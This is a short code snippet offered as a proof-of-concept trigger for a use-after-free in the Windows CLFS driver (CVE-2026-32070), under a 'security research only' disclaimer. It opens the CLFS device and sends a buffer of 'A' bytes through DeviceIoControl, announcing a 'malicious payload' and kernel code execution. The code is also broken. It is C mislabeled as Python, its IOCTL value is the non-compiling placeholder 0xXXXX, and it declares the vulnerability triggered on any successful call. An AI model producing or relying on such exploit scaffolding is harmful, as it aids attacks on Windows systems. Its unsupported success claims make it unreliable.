The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Conceptual PoC for CVE-2026-32070 (UAF in CLFS)
// This code demonstrates the trigger mechanism for the Use-After-Free vulnerability.
int main() {
HANDLE hDevice;
DWORD bytesReturned;
// Attempt to open a handle to the CLFS device
// Note: The actual device path may vary depending on the Windows version
hDevice = CreateFileA("\\.\CLFS",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
printf("[*] Ensure you are running as an Administrator or the driver is loaded.\n");
return 1;
}
printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice);
// Prepare input buffer to trigger the UAF condition
// The size and content would need to be adjusted based on specific vulnerability analysis
BYTE triggerBuffer[0x100];
memset(triggerBuffer, 0x41, sizeof(triggerBuffer)); // Fill with 'A'
printf("[*] Sending malicious payload to trigger UAF...\n");
// The IOCTL code is hypothetical for CVE-2026-32070
// Reversing would be required to find the exact trigger IOCTL
DWORD ioctlCode = 0xXXXX;
BOOL result = DeviceIoControl(hDevice,
ioctlCode,
triggerBuffer,
sizeof(triggerBuffer),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError());
// This might fail if the IOCTL code is incorrect or validation fails
} else {
printf("[+] IOCTL sent successfully. Vulnerability triggered.\n");
printf("[*] If exploited correctly, code execution in kernel mode would follow.\n");
}
CloseHandle(hDevice);
return 0;
}